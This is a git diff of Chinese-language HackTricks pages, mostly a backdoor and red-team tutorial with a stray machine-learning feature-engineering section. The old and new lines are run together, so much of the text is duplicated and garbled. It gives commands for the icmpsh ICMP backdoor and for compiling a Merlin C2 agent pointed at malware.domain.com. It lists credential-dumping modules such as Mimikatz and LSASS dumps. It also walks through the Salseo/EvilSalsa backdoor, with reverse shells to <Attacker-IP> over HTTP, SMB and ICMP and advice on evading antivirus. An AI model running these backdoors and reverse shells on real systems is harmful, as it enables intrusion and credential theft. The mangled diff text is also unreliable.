您应该**检查缺失特征与目标列之间的相关性**,以了解该特征对目标的重要性,如果它真的**很小**,您可以**删除它或填充它**。 您应该**检查缺失特征与目标列之间的相关性**,以查看该特征对目标的重要性如何,如果确实**很小**,您可以**删除它或填充它**。
要填补缺失的**连续数据**,您可以使用:**平均值**、**中位数**或使用**插补**算法。插补算法可以尝试使用其他特征来找到缺失特征的值: 要填补缺失的**连续数据**,您可以使用:**均值**、**中位数**或使用**填充**算法。填充算法可以尝试使用其他特征来找到缺失特征的值:
```python ```python
from sklearn.impute import KNNImputer from sklearn.impute import KNNImputer
@ -255,9 +253,11 @@ dataset_imp = pd.DataFrame(X_imp)
dataset.columns = ['column1', 'column2', 'column3'] dataset.columns = ['column1', 'column2', 'column3']
dataset.iloc[10:20] # Get some indexes that contained empty data before dataset.iloc[10:20] # Get some indexes that contained empty data before
``` ```
# 结合特征 为了填补分类数据,首先需要考虑数值缺失的原因。如果是**用户选择**(他们不想提供数据),也许可以**创建一个新类别**来指示这一点。如果是因为人为错误,可以**删除行**或**特征**(在之前提到的步骤中检查),或者用**众数填充,即最常用的类别**(不建议)。
如果你发现**两个特征**之间存在**相关性**,通常你应该**删除**其中一个(与目标相关性较低的那个),但你也可以尝试**结合它们并创建一个新特征**。 # 合并特征
如果发现**两个特征**之间**相关**,通常应该**删除**其中一个(与目标相关性较低的那个),但也可以尝试**将它们合并并创建一个新特征**。
```python ```python
# Create a new feautr combining feature1 and feature2 # Create a new feautr combining feature1 and feature2
dataset['new_feature'] = dataset.column1/dataset.column2 dataset['new_feature'] = dataset.column1/dataset.column2
@ -272,14 +272,14 @@ pd.Series([variance_inflation_factor(X.values, i) for i in range(X.shape[1])], i
``` ```
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式: 其他支持HackTricks的方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>

View file

@ -1,13 +1,13 @@
<details> <details>
<summary><strong>从零开始学习AWS黑客攻击成为英雄</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式 支持HackTricks的其他方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在Twitter上** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** 上关注我们**。
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>

View file

@ -1,50 +1,50 @@
<details> <details>
<summary><strong>从零到英雄学习AWS黑客攻击通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家使用</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
支持HackTricks的其他方式 支持HackTricks的其他方式
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
从以下地址下载后门: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh) 从以下链接下载后门:[https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)
# 客户端 # 客户端
执行脚本:**run.sh** 执行脚本:**run.sh**
**如果您遇到某些错误,请尝试更改以下行:** **如果出现错误,请尝试更改以下行:**
```bash ```bash
IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1) IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1)
IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }') IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }')
``` ```
**适用于** **针对**
```bash ```bash
echo Please insert the IP where you want to listen echo Please insert the IP where you want to listen
read IP read IP
``` ```
# **受害者端** # **受害者端**
上传 **icmpsh.exe** 到受害者并执行: **icmpsh.exe** 上传到受害者端并执行:
```bash ```bash
icmpsh.exe -t <Attacker-IP> -d 500 -b 30 -s 128 icmpsh.exe -t <Attacker-IP> -d 500 -b 30 -s 128
``` ```
<details> <details>
<summary><strong>从零到英雄学习AWS黑客攻击通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式: 其他支持HackTricks的方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品,称为[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>

View file

@ -1,14 +1,14 @@
<details> <details>
<summary><strong>零基础学习AWS黑客攻击成为高手</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家使用</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式: 其他支持HackTricks的方式
* 如果您想在**HackTricks上看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
@ -39,7 +39,7 @@ go run cmd/merlinserver/main.go -i
``` ```
# Merlin 代理 # Merlin 代理
您可以[下载预编译代理](https://github.com/Ne0nd0g/merlin/releases) 您可以[下载预编译代理](https://github.com/Ne0nd0g/merlin/releases)
## 编译代理 ## 编译代理
@ -50,59 +50,59 @@ make #Server and Agents of all
make windows #Server and Agents for Windows make windows #Server and Agents for Windows
make windows-agent URL=https://malware.domain.com:443/ #Agent for windows (arm, dll, linux, darwin, javascript, mips) make windows-agent URL=https://malware.domain.com:443/ #Agent for windows (arm, dll, linux, darwin, javascript, mips)
``` ```
## **手动编译代理** ## **手动编译代理程序**
``` ```
GOOS=windows GOARCH=amd64 go build -ldflags "-X main.url=https://10.2.0.5:443" -o agent.exe main.g GOOS=windows GOARCH=amd64 go build -ldflags "-X main.url=https://10.2.0.5:443" -o agent.exe main.g
``` ```
# 模块 # 模块
**坏消息是Merlin 使用的每个模块都是从源头Github下载并在使用前保存到磁盘的。使用知名模块时要小心因为 Windows Defender 会抓到你!** **坏消息是Merlin使用的每个模块都是从源Github下载并保存在磁盘上才能使用。在使用知名模块时要小心因为Windows Defender会抓到你!**
**SafetyKatz** --> 修改版 Mimikatz。转储 LSASS 到文件并启动sekurlsa::logonpasswords 到该文件\ **SafetyKatz** --> 修改版的Mimikatz。将LSASS转储到文件并运行:sekurlsa::logonpasswords到该文件\
**SharpDump** --> 为指定的进程 ID 创建 minidump默认为 LSASS它说最终文件的扩展名是 .gz但实际上是 .bin但是一个 gz 文件)\ **SharpDump** --> 为指定的进程ID进行minidump默认为LSASS最终文件的扩展名是.gz但实际上是.bin是一个gz文件)\
**SharpRoast** --> Kerberoast工作\ **SharpRoast** --> Kerberoast起作用\
**SeatBelt** --> CS 中的本地安全测试(不工作) https://github.com/GhostPack/Seatbelt/blob/master/Seatbelt/Program.cs\ **SeatBelt** --> 在CS中进行本地安全测试不起作用https://github.com/GhostPack/Seatbelt/blob/master/Seatbelt/Program.cs\
**Compiler-CSharp** --> 使用 csc.exe /unsafe 编译\ **Compiler-CSharp** --> 使用csc.exe /unsafe进行编译\
**Sharp-Up** -->C# 中的所有检查在 powerup 中(工作\ **Sharp-Up** --> 在powerup中使用C#进行所有检查(有效\
**Inveigh** --> PowerShell ADIDNS/LLMNR/mDNS/NBNS 欺骗器和中间人工具(不工作需要加载https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1\ **Inveigh** --> PowerShellADIDNS/LLMNR/mDNS/NBNS欺骗器和中间人工具不起作用需要加载https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1\
**Invoke-InternalMonologue** --> 冒充所有可用用户并检索每个用户的挑战响应(每个用户的 NTLM 哈希)(错误的 url\ **Invoke-InternalMonologue** --> 模拟所有可用用户并为每个用户检索挑战-响应每个用户的NTLM哈希坏的URL\
**Invoke-PowerThIEf** --> 从 IExplorer 偷窃表单或使其执行 JS 或在该进程中注入 DLL不工作PS 看起来也不工作) https://github.com/nettitude/Invoke-PowerThIEf/blob/master/Invoke-PowerThIEf.ps1\ **Invoke-PowerThIEf** --> 从IExplorer窃取表单或使其执行JS或在该进程中注入DLL不起作用PS似乎也不起作用https://github.com/nettitude/Invoke-PowerThIEf/blob/master/Invoke-PowerThIEf.ps1\
**LaZagneForensic** --> 获取浏览器密码(工作但不打印输出目录)\ **LaZagneForensic** --> 获取浏览器密码(有效,但不打印输出目录)\
**dumpCredStore** --> Win32 凭据管理器 APIhttps://github.com/zetlen/clortho/blob/master/CredMan.ps1 https://www.digitalcitizen.life/credential-manager-where-windows-stores-passwords-other-login-details\ **dumpCredStore** --> Win32凭据管理器APIhttps://github.com/zetlen/clortho/blob/master/CredMan.ps1https://www.digitalcitizen.life/credential-manager-where-windows-stores-passwords-other-login-details\
**Get-InjectedThread** --> 检测运行进程的经典注入经典注入OpenProcessVirtualAllocExWriteProcessMemoryCreateRemoteThread工作\ **Get-InjectedThread** --> 检测运行进程的经典注入经典注入OpenProcessVirtualAllocExWriteProcessMemoryCreateRemoteThread起作用\
**Get-OSTokenInformation** --> 获取运行中进程和线程的令牌信息(用户,组,权限,所有者... https://docs.microsoft.com/es-es/windows/desktop/api/winnt/ne-winnt-\_token_information_class\ **Get-OSTokenInformation** --> 获取正在运行的进程和线程的令牌信息(用户、组、特权、所有者... https://docs.microsoft.com/es-es/windows/desktop/api/winnt/ne-winnt-\_token_information_class\
**Invoke-DCOM** --> 通过 DCOM 在其他计算机上执行命令http://www.enigma0x3.net.https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/\ **Invoke-DCOM** --> 通过DCOM执行命令在其他计算机上http://www.enigma0x3.net.https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/\
**Invoke-DCOMPowerPointPivot** --> 在其他 PC 上利用 PowerPoint COM 对象执行命令ADDin\ **Invoke-DCOMPowerPointPivot** --> 滥用PowerPoint COM对象ADDin在其他PC中执行命令\
**Invoke-ExcelMacroPivot** --> 在其他 PC 上利用 DCOM 在 Excel 中执行命令\ **Invoke-ExcelMacroPivot** --> 滥用Excel中的DCOM在其他PC中执行命令\
**Find-ComputersWithRemoteAccessPolicies** --> (不工作https://labs.mwrinfosecurity.com/blog/enumerating-remote-access-policies-through-gpo/\ **Find-ComputersWithRemoteAccessPolicies** -->(不起作用https://labs.mwrinfosecurity.com/blog/enumerating-remote-access-policies-through-gpo/\
**Grouper** --> 它转储所有最有趣的组策略部分,然后在其中寻找可利用的东西。(已弃用)看看 Grouper2看起来真的不错\ **Grouper** --> 它转储组策略的所有最有趣的部分然后在其中寻找可利用的内容已弃用看看Grouper2看起来非常好\
**Invoke-WMILM** --> WMI 用于横向移动\ **Invoke-WMILM** --> 使用WMI进行横向移动\
**Get-GPPPassword** --> 寻找 groups.xmlscheduledtasks.xmlservices.xml 和 datasources.xml 并返回明文密码(域内)\ **Get-GPPPassword** --> 查找groups.xmlscheduledtasks.xmlservices.xml和datasources.xml并返回明文密码域内)\
**Invoke-Mimikatz** --> 使用 mimikatz默认转储凭据\ **Invoke-Mimikatz** --> 使用mimikatz默认转储凭据\
**PowerUp** --> https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc\ **PowerUp** --> https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc\
**Find-BadPrivilege** --> 检查计算机用户的权\ **Find-BadPrivilege** --> 检查计算机用户的权\
**Find-PotentiallyCrackableAccounts** --> 检索与 SPN 关联的用户账户信息Kerberoasting\ **Find-PotentiallyCrackableAccounts** --> 检索与SPN相关联的用户帐户的信息Kerberoasting\
**psgetsystem** --> 获取系统 **psgetsystem** --> 获取系统
**未检查持久性模块** **未检查持久性模块**
# 总结 # 简介
我真的很喜欢这个工具的感觉和潜力。\ 我真的很喜欢这个工具的感觉和潜力。\
我希望这个工具将开始从服务器下载模块,并在下载脚本时整合某种规避手段 希望该工具开始从服务器下载模块并在下载脚本时集成某种逃避机制
<details> <details>
<summary><strong>从零开始学习 AWS 黑客攻击直到成为英雄,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
支持 HackTricks 的其他方式: 支持HackTricks的其他方式
* 如果你想在 **HackTricks** 中看到你的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs 集合**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord **](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**上关注**我们。
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享你的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>

View file

@ -2,15 +2,15 @@
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式 支持HackTricks的其他方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) - 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com) - 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) - 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** - **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧 - 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**
</details> </details>
@ -18,21 +18,21 @@
从github下载源代码并编译**EvilSalsa**和**SalseoLoader**。您需要安装**Visual Studio**来编译代码。 从github下载源代码并编译**EvilSalsa**和**SalseoLoader**。您需要安装**Visual Studio**来编译代码。
您将要使用它们的windows盒子的架构编译这些项目如果Windows支持x64为该架构编译它们)。 将要使用它们的Windows系统架构编译这些项目如果Windows支持x64为该架构编译)。
您可以在Visual Studio的左侧**"Build"标签**中**"Platform Target"**选择架构 您可以在Visual Studio中的**左侧"Build"选项卡**中的**"Platform Target"**中**选择架构**
**如果找不到这个选项,请按**"Project Tab"**然后在**"\<Project Name> Properties"** (\*\*如果找不到这些选项,请点击**"Project Tab"**,然后点击**"\<Project Name> Properties"**)
![](<../.gitbook/assets/image (132).png>) ![](<../.gitbook/assets/image (132).png>)
然后构建两个项目Build -> Build Solution日志中将显示可执行文件的路径 然后,构建两个项目Build -> Build Solution日志中将显示可执行文件的路径
![](<../.gitbook/assets/image (1) (2) (1) (1) (1).png>) ![](<../.gitbook/assets/image (1) (2) (1) (1) (1).png>)
## 准备后门 ## 准备后门
首先,您需要编码**EvilSalsa.dll**。为此,您可以使用python脚本**encrypterassembly.py**者您可以编译项目**EncrypterAssembly** 首先,您需要对**EvilSalsa.dll**进行编码。您可以使用python脚本**encrypterassembly.py**或编译项目**EncrypterAssembly**来执行此操作
### **Python** ### **Python**
``` ```
@ -41,52 +41,32 @@ python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.
``` ```
### Windows ### Windows
Windows操作系统是全球最广泛使用的桌面操作系统。由于其普及性它成为黑客攻击的主要目标之一。在Windows系统中植入后门可以让攻击者长期控制目标系统。 ### Windows
#### Windows后门技术
- **服务**: 通过创建或修改Windows服务攻击者可以在系统启动时自动执行恶意代码。
- **注册表**: 修改注册表项可以使恶意程序在用户登录时自动运行。
- **Office宏**: 利用Office文档中的宏来执行恶意代码。
- **PowerShell**: 使用PowerShell脚本来执行攻击操作这种方式难以被传统防病毒软件检测到。
- **WMI事件订阅**: 利用Windows管理工具来持久化和触发恶意活动。
#### 工具和技术
- **Metasploit**: 一个强大的开源渗透测试框架,可以用来开发和执行后门攻击。
- **Empire**: 一个基于PowerShell的后门框架专门用于Windows系统。
- **Cobalt Strike**: 一款商业渗透测试工具,提供了一系列的后门攻击选项。
#### 防御措施
- **更新**: 定期更新Windows和应用程序来修补安全漏洞。
- **防病毒软件**: 使用可靠的防病毒软件来检测和阻止恶意软件。
- **EDR**: 部署端点检测和响应(EDR)解决方案来监控可疑行为。
- **审计**: 定期审计服务、注册表和计划任务来检查异常配置。
- **访问控制**: 限制用户权限,避免恶意软件获得系统级别的访问权限。
通过了解和应用这些技术和防御措施可以有效地防止和检测Windows系统中的后门。
``` ```
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE> EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
``` ```
现在你已经拥有执行所有Salseo操作所需的一切**编码的EvilDalsa.dll**和**SalseoLoader的二进制文件。**
**将SalseoLoader.exe二进制文件上传到机器上。它们不应该被任何杀毒软件检测到...**
## **执行后门** ## **执行后门**
### **获取TCP反向Shell通过HTTP下载编码的dll** ### **获取TCP反向shell通过HTTP下载编码的dll**
记得启动nc作为反向Shell监听器和一个HTTP服务器来提供编码的evilsalsa。 记得启动一个nc作为反向shell监听器以及一个HTTP服务器来提供编码的evilsalsa。
``` ```
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port> SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
``` ```
### **获取UDP反向Shell通过SMB下载编码的dll** ### **获取UDP反向shell通过SMB下载编码的dll**
记得启动nc作为反向Shell监听器以及一个SMB服务器来提供编码的evilsalsaimpacket-smbserver 记得启动一个nc作为反向shell监听器并启动一个SMB服务器来提供编码的evilsalsaimpacket-smbserver
``` ```
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port> SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
``` ```
### **获取 ICMP 反向 shell编码的 dll 在受害者内部)** ### **获取 ICMP 反向 shell编码的 dll 已经在受害者内部)**
**这次你需要在客户端下载一个特殊工具来接收反向 shell。下载** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) **这次你需要在客户端上使用一个特殊工具来接收反向 shell。下载** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
#### **禁用 ICMP 回复:** #### **禁用 ICMP 回复:**
``` ```
@ -99,49 +79,49 @@ sysctl -w net.ipv4.icmp_echo_ignore_all=0
``` ```
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>" python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
``` ```
#### 在受害者内部执行salseo操作 #### 在受害者内部,让我们执行salseo操作
``` ```
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP> SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
``` ```
## 将 SalseoLoader 编译为导出 main 函数的 DLL ## 编译 SalseoLoader 作为导出主函数的 DLL
使用 Visual Studio 打开 SalseoLoader 项目。 使用 Visual Studio 打开 SalseoLoader 项目。
### 在 main 函数之前添加:\[DllExport] ### 在函数之前添加:\[DllExport]
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) ![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
### 为此项目安装 DllExport ### 为此项目安装 DllExport
#### **工具** --> **NuGet 包管理器** --> **为解决方案管理 NuGet 包...** #### **工具** --> **NuGet 包管理器** --> **管理解决方案的 NuGet 包...**
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) ![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
#### **搜索 DllExport 包(使用浏览标签),然后按安装(并接受弹出窗口)** #### **在浏览选项卡中搜索 DllExport 包,并按 Install接受弹出窗口)**
